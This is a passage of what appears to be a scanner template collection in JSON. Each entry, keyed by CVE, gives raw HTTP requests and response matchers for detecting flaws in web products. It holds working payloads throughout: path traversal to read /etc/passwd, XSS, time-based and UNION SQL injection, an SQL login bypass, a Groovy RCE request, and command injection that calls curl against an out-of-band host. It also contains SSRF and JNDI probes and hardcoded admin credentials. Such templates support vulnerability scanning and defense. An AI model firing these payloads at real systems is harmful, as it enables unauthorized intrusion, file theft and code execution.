ARI=teev7d0kgvdko8u5b26p3335a2\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\n\nxajax=menu&xajaxr=1504969293893&xajaxargs[]=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&xajaxargs[]=yumPackages\n","GET /maint/modules/home/index.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00english HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nReferer: {{Hostname}}/maint/index.php?packages\nCookie: lng=en; security_level=0; PHPSESSID=7fasl890v1c51vu0d31oemt3j1; ARI=teev7d0kgvdko8u5b26p3335a2\nAuthorization: Basic bWFpbnQ6cGFzc3dvcmQ=\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-1000486","info":{"name":"Primetek Primefaces 5.x - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate\n\npfdrt=sc&ln=primefaces&pfdrid=uMKljPgnOTVxmOB%2BH6%2FQEPW9ghJMGL3PRdkfmbiiPkUDzOAoSQnmBt4dYyjvjGhVbBkVHj5xLXXCaFGpOHe704aOkNwaB12Cc3Iq6NmBo%2BQZuqhqtPxdTA%3D%3D\n"],"matchers":[{"type":"word","part":"header","words":["Mogwailabs: CHECKCHECK"]}]}]},{"id":"CVE-2017-16877","info":{"name":"Nextjs <2.4.1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/_next/../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-7391","info":{"name":"Magmi 0.7.22 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/magmi/web/ajax_gettime.php?prefix=%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3C"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2017-18487","info":{"name":"AdPush < 1.44 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \">\\\">All\")","contains(body_3, \"Google AdSense\")"],"condition":"and"}]}]},{"id":"CVE-2017-10075","info":{"name":"Oracle Content Server - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX&dSecurityGroup=&QueryText=(dInDate+>=+%60<$dateCurrent(-7)$>%60)&PageTitle=OO","{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","ORACLE_QUERY"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2002-1131","info":{"name":"SquirrelMail 1.2.6/1.2.7 - Cross-Site Scripting","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/src/addressbook.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/src/options.php?optpage=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/src/search.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&what=x&where=BODY&submit=Search","{{BaseURL}}/src/search.php?mailbox=INBOX&what=x&where=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=Search","{{BaseURL}}/src/help.php?chapter=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-0200","info":{"name":"Github Enterprise Authenticated Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v3/user/orgs"],"headers":{"Authorization":"Basic {{base64('{{username}}' + ':' + '{{password}}')}}"},"extractors":[{"type":"json","part":"body","name":"org_name","internal":true,"json":[".[].login"]}]},{"method":"GET","path":["{{BaseURL}}/api/v3/orgs/{{org_name}}/memberships/{{username}}"],"headers":{"Authorization":"Basic {{base64('{{username}}' + ':' + '{{password}}')}}"},"matchers-condition":"and","matchers":[{"type":"word","words":["\"role\": \"admin\""],"part":"body"}]},{"method":"POST","path":["{{BaseURL}}/api/v3/orgs/{{org_name}}/repos"],"headers":{"Content-Type":"application/json","Authorization":"Basic {{base64('{{username}}' + ':' + '{{password}}')}}"},"body":"{\n \"name\": \"{{randstr}}\"\n}\n","matchers":[{"type":"status","status":[201]}]},{"method":"GET","cookie-reuse":true,"path":["{{BaseURL}}/login"],"extractors":[{"type":"regex","part":"body","internal":true,"group":1,"regex":["name=\"authenticity_token\" value=\"(.*?)\""],"name":"csrf_token"}]},{"method":"POST","path":["{{BaseURL}}/session"],"headers":{"Content-Type":"application/x-www-form-urlencoded"},"body":"login={{username}}&password={{password}}&commit=Sign%20in&authenticity_token={{csrf_token}}&\n","matchers":[{"type":"status","status":[302]},{"type":"word","words":["_gh_render"],"part":"header"}]},{"method":"GET","path":["{{BaseURL}}/organizations/{{org_name}}/settings/actions/repository_items?page=1&rid_key=nw_fsck"],"extractors":[{"type":"regex","group":1,"name":"ghe_secret","internal":true,"regex":[""ENTERPRISE_SESSION_SECRET"=>"([^\"]+?)""],"part":"body"}],"matchers":[{"type":"word","words":["ENTERPRISE_SESSION_SECRET"],"part":"body"}]},{"method":"GET","path":["{{BaseURL}}/"],"headers":{"Cookie":"_gh_render={{final_payoad}}"},"matchers-condition":"and","matchers":[{"type":"status","status":[500]},{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2024-0881","info":{"name":"Combo Blocks < 2.2.76 - Improper Access Control","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/user-meta/readme.txt"],"matchers":[{"type":"word","internal":true,"words":["User Profile Builder"]}]},{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_paginate_ajax_free","{{BaseURL}}/wp-admin/admin-ajax.php?action=post_grid_ajax_search_free"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","words":["{\"html\"","\"
    \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tqwerty\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["/dana-na/","WriteCSS"],"condition":"and"}]}]},{"id":"CVE-2024-38856","info":{"name":"Apache OFBiz - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /webtools/control/main/ProgramExport HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ngroovyProgram=\\u0074\\u0068\\u0072\\u006f\\u0077\\u0020\\u006e\\u0065\\u0077\\u0020\\u0045\\u0078\\u0063\\u0065\\u0070\\u0074\\u0069\\u006f\\u006e\\u0028\\u0027\\u0069\\u0064\\u0027\\u002e\\u0065\\u0078\\u0065\\u0063\\u0075\\u0074\\u0065\\u0028\\u0029\\u002e\\u0074\\u0065\\u0078\\u0074\\u0029\\u003b\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["uid=\\d+\\(([^)]+)\\) gid=\\d+\\(([^)]+)\\)"]},{"type":"word","part":"body","words":["java.lang.Exception"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-20439","info":{"name":"Hardcoded Admin Credentials For Cisco Smart Licensing Utility API","severity":"critical"},"requests":[{"raw":["GET /cslu/v1/scheduler/jobs HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic Y3NsdS13aW5kb3dzLWNsaWVudDpMaWJyYXJ5NEMkTFU=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"job_name\":","\"current_status\":"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-6781","info":{"name":"Calibre <= 7.14.0 Arbitrary File Read","severity":"high"},"requests":[{"raw":["GET /interface-data/books-init HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"json","name":"book_ids","internal":true,"json":[".search_result.book_ids[0]"]}]},{"raw":["POST /cdb/cmd/export HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n[\"extra_file\", {{book_ids}}, \"../../../../../etc/passwd\", \"\"]\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"content_type","words":["application/json"]},{"type":"regex","part":"body","regex":["root:.*:0:0:","\"result\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-27292","info":{"name":"Docassemble - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/interview?i=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[501]}]}]},{"id":"CVE-2024-22927","info":{"name":"eyoucms v.1.6.5 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"POST","path":["{{BaseURL}}/login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvU2NSaVB0PiIsInNpemUiOiIyMDk3MTUyIiwiaW5wdXQiOiIiLCJmdW5jIjoiaGVhZF9waWNfY2FsbF9iYWNrIiwicGF0aCI6ImFsbGltZyIsImlzX3dhdGVyIjoiMSIsImFsZyI6IkhTMjU2In0&lang=cn&m=admin&unneed_syn="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["name=\"num\" value=\"1\">","id=\"eytime\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-35627","info":{"name":"TileServer API - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/data/v3/?key=%27-alert(document.domain)-%27"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["TileServer","'-alert(document.domain)-'"],"condition":"and"},{"type":"word","part":"content_type","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5975","info":{"name":"CZ Loan Management <= 1.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/cz-loan-management/README.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"CZ Loan Management\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["@timeout 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=cz_plugin_for_user_get_percentage&selectedperiod=(select*from(select(sleep(6)))a)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains(content_type,\"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-23163","info":{"name":"GestSup - Account Takeover","severity":"critical"},"requests":[{"raw":["POST /ajax/ticket_user_db.php HTTP/1.1\nHost: {{Hostname}}\nX-Requested-With: xmlhttprequest\nContent-Type: application/x-www-form-urlencoded\n\nmodifyuser=1&lastname={{lastname}}&firstname={{firstname}}&phone=&mobile=&mail={{email}}&company=111&id=1\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{\"status\":\"success","firstname\":\"{{firstname}}\",\"lastname\":\"{{lastname}}"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]}],"extractors":[{"type":"dsl","dsl":["\"Firstname: \"+ firstname","\"Lastname: \"+ lastname"]}]}]},{"id":"CVE-2024-1021","info":{"name":"Rebuild <= 3.5.5 - Server-Side Request Forgery","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}","{{BaseURL}}/filex/read-raw?url=http://oast.me&cut=1"],"matchers":[{"type":"dsl","dsl":["contains(body_2, \"

    Interactsh Server

    \")","!contains(body_1, \"

    Interactsh Server

    \")","status_code_2 == 200"],"condition":"and"}]}]},{"id":"CVE-2024-1210","info":{"name":"LearnDash LMS < 4.10.2 - Sensitive Information Exposure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-json/ldlms/v1/sfwd-quiz"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"quiz_materials\":","quizzes"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-9234","info":{"name":"GutenKit <= 2.1.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/gutenkit-blocks-addon\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nplugin=http://{{interactsh-url}}/{{filename}}.zip\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"Failed to unzip plugin\", \"success\\\":false\")","contains(content_type, \"application/json\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-6845","info":{"name":"SmartSearchWP < 2.4.6 - OpenAI Key Disclosure","severity":"medium"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/smartsearchwp\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /wp-json/wdgpt/v1/api-key HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"key\": \"U2FsdGVkX1+X\"}\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type,\"application/json\")","status_code == 200"],"condition":"and"}],"extractors":[{"type":"regex","part":"body","name":"api-key","regex":["\"([^\"]+)\""]}]}]},{"id":"CVE-2024-6289","info":{"name":"WPS Hide Login < 1.9.16.4 - Hidden Login Page Disclosure","severity":"medium"},"requests":[{"raw":["GET /wp-content/plugins/wps-hide-login/readme.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"WPS Hide Login\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /?gf_page={{string}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["!contains(tolower(location), \"wp-login.php\")","contains(header,\"%2F%3Fgf_page%3D{{string}}&reauth=1\")"],"condition":"and"}],"extractors":[{"type":"kval","kval":["location"]}]}]},{"id":"CVE-2024-3922","info":{"name":"Dokan Pro <= 3.10.3 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/dokan-pro/changelog.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"word","words":["Dokan product"],"internal":true}]},{"raw":["@timeout: 20s\nPOST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1\nHost: {{Hostname}}\n\n{\"env\":\"1\",\"event\":\"invoice.created\",\"resource\":{\"subscription_code\":\"11111' and (select 1 from (select sleep( if(1=1,6,0) ))x )='\"}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 302"],"condition":"and"}]}]},{"id":"CVE-2024-29895","info":{"name":"Cacti cmd_realtime.php - Command Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: curl"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-43160","info":{"name":"BerqWP <= 1.7.6 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/searchpro\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["POST /wp-json/optifer/v1/store-webp HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nimage=\"{{base64(num)}}\"&url={{filename}}.txt&license_key_hash=d41d8cd98f00b204e9800998ecf8427e\n"],"matchers":[{"type":"dsl","dsl":["contains(content_type,\"application/json\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["GET /{{filename}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"{{num}}\")","contains(content_type, \"text/plain\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-6922","info":{"name":"Automation Anywhere Automation 360 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST /v1/proxy/test HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"saasUrl\":\"{{interactsh-url}}/?param=one#\"}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["{\"message\":"]},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2024-1071","info":{"name":"WordPress Ultimate Member 2.1.3 - 2.8.2 \u2013 SQL Injection","severity":"critical"},"requests":[{"raw":["GET /?p=1 HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 10s\nPOST /wp-admin/admin-ajax.php?action=um_get_members HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndirectory_id=b9238&sorting=user_login,SLEEP(5)&nonce={{nonce}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["duration_2>=5","status_code_2 == 200","contains_all(body_2, \"current_page\", \"total_pages\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","part":"body","group":1,"regex":["\"nonce\":\"([0-9a-z]+)\""],"internal":true}]}]},{"id":"CVE-2024-6646","info":{"name":"Netgear-WN604 downloadFile.php - Information Disclosure","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/downloadFile.php?file=config"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["system:basicSettings","system:staSettings"],"condition":"and"},{"type":"word","part":"content_type","words":["application/force-download"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-32736","info":{"name":"CyberPower < v2.8.3 - SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/v1/confup?mode=&uid=1'%20UNION%20select%201,2,3,4,sqlite_version();--"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["\"code\":\"([0-9.]+)\""]},{"type":"word","part":"body","words":["\"results\":","{\"status\":\"finished"],"condition":"and"},{"type":"word","part":"content_type","words":["application/json"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","group":1,"regex":["\"code\":\"([0-9.]+)\""]}]}]},{"id":"CVE-2024-1183","info":{"name":"Gradio - Server Side Request Forgery","severity":"medium"},"requests":[{"raw":["GET /file=http://oast.pro HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"regex","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)oast\\.pro.*$"],"part":"header"}]}]},{"id":"CVE-2024-3274","info":{"name":"D-LINK DNS-320L,DNS-320LW and DNS-327L - Information Disclosure","severity":"medium"},"requests":[{"raw":["GET /cgi-bin/info.cgi HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body, \"Model=\", \"Build=\", \"Macaddr=\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-7008","info":{"name":"Calibre <= 7.15.0 - Reflected Cross-Site Scripting (XSS)","severity":"medium"},"requests":[{"raw":["GET /browse/book/TEST";window.stop();alert(document.domain);%2f%2f HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["window.location.href = \"/#book_id=TEST\";window.stop();alert(document.domain);//&panel=book_details"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5276","info":{"name":"Fortra FileCatalyst Workflow <= v5.1.6 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /{{ctxpath}}/ HTTP/1.1\nHost: {{Hostname}}\n"],"extractors":[{"type":"regex","part":"body","group":1,"name":"jsessionid","regex":["logon.jsp;jsessionid=([A-Z0-9]+)"],"internal":true}]},{"raw":["GET /{{ctxpath}}/jsp/logon.jsp;jsessionid={{jsessionid}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["logonAnonymous.do"],"internal":true}],"extractors":[{"type":"regex","part":"body","group":1,"name":"anonurl","regex":["href=\"(.*)\" class=\"btn btn-outline-primary\" id=\"logonAnonymousLink\""],"internal":true}]},{"raw":["GET {{anonurl}} HTTP/1.1\nHost: {{Hostname}}\n"]},{"raw":["GET /{{ctxpath}}/servlet/pdf_servlet?JOBID={{urlencode(payload)}} HTTP/1.1\nHost: {{Hostname}}\n"]},{"raw":["GET /{{ctxpath}}/jsp/logon.jsp HTTP/1.1\nHost: {{Hostname}}\n"],"disable-cookie":true,"extractors":[{"type":"regex","part":"body","group":1,"name":"fcweb_token","regex":["name=\"FCWEB.FORM.TOKEN\" value=\"([A-Za-z0-9]+)\""],"internal":true},{"type":"regex","part":"body","group":1,"name":"jsessionid2","regex":["logon.jsp;jsessionid=([A-Z0-9]+)"],"internal":true}]},{"raw":["POST /{{ctxpath}}/logon.do HTTP/1.1\nHost: {{Hostname}}\nCookie: JSESSIONID={{jsessionid2}}\nContent-Type: application/x-www-form-urlencoded\n\nFCWEB.FORM.TOKEN={{fcweb_token}}&username={{to_lower(username)}}&password={{password}}&submit=Login&\n"],"disable-cookie":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["username/password are not correct","Your session timed out."],"negative":true},{"type":"word","part":"body","words":["FileCatalyst Workflow Administration","{{to_lower(username)}}"],"condition":"and"}],"extractors":[{"type":"dsl","dsl":["\"USER: \"+ username","\"PASS: \"+ password"]}]}]},{"id":"CVE-2024-22319","info":{"name":"IBM Operational Decision Manager - JNDI Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/decisioncenter-api/v1/about?datasource=ldap://{{interactsh-url}}"],"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, \"dns\")","contains(header, \"application/json\")","contains(body, \"patchLevel\\\":\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-33288","info":{"name":"Prison Management System - SQL Injection Authentication Bypass","severity":"high"},"requests":[{"raw":["POST /Admin/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ntxtusername=admin%27+or+%271%27+%3D%271&txtpassword={{randstr}}&btnlogin=\n","GET /Admin/index.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["

    Change Password

    ","

    Logout

    ","Admin Dashboard | Prison Management system"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-5420","info":{"name":"SEH utnserver Pro/ProMAX/INU-100 20.1.22 - Cross-Site Scripting","severity":"high"},"requests":[{"raw":["POST /device/description_en.html HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=set&sys_name=%E2%80%9C%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sys_descr=&sys_contact=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["value=\"\u201c>\" id=\"standort\"","Host name"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-7854","info":{"name":"Woo Inquiry <= 0.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body,\"/wp-content/plugins/woo-inquiry\")"],"internal":true}]},{"raw":["@timeout: 20s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=woo_wpinq_times_up&dbid=(SELECT(0)FROM(SELECT(SLEEP(6)))a)\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains(content_type, \"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-32238","info":{"name":"H3C ER8300G2-X - Password Disclosure","severity":"critical"},"requests":[{"raw":["GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["vtyname","vtypasswd","auxauthmode"],"condition":"and"},{"type":"word","part":"content_type","words":["application/x-unknown"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-24763","info":{"name":"JumpServer < 3.10.0 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /{{paths}} HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n"],"payloads":{"paths":["core/auth/login/?next=//oast.me","auth/login/?next=//oast.me","login/?next=//oast.me"]},"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?oast\\.me(?:\\s*?)$"]}]}]},{"id":"CVE-2024-8503","info":{"name":"VICIdial - SQL Injection","severity":"critical"},"requests":[{"raw":["GET /vicidial/welcome.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains_all(body,\"Agent Login\",\"Timeclock\",\"Administration\")","contains(content_type,\"text/html\")","status_code == 200"],"condition":"and","internal":true}]},{"raw":["@timeout 20s\nGET /VERM/VERM_AJAX_functions.php?function=log_custom_report HTTP/1.1\nHost: {{Hostname}}\nAuthorization: Basic JywnJyxzbGVlcCg2KSk7IzpiYXI=\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","contains(content_type,\"text/html\")","status_code == 200"],"condition":"and"}]}]},{"id":"CVE-2024-20767","info":{"name":"Adobe ColdFusion - Arbitrary File Read","severity":"high"},"requests":[{"raw":["GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1\nHost: {{Hostname}}\n","GET /hax/../pms?module=logging&file_name=../../../../../../../../../../../../../../../../../../etc/passwd&number_of_lines=1000 HTTP/1.1\nHost: {{Hostname}}\nuuid: {{extracted_uuid}}\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, 'wddxPacket')","contains(header_2, 'application/json')","contains(body_2, '/bin/bash')"],"condition":"and"}],"extractors":[{"type":"regex","part":"body_1","name":"extracted_uuid","group":1,"regex":["(.*)"],"internal":true}]}]},{"id":"CVE-2024-24919","info":{"name":"Check Point Quantum Gateway - Information Disclosure","severity":"high"},"requests":[{"raw":["POST /clients/MyCRL HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip\n\naCSHELL/../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*","nobody:.*"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2024-8522","info":{"name":"LearnPress \u2013 WordPress LMS - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["contains(body, \"/wp-content/plugins/learnpress\")"],"internal":true}]},{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","@timeout: 30s\nGET /wp-json/learnpress/v1/courses?course_filter=&c_fields=post_title,(select(sleep(6))),ID& HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 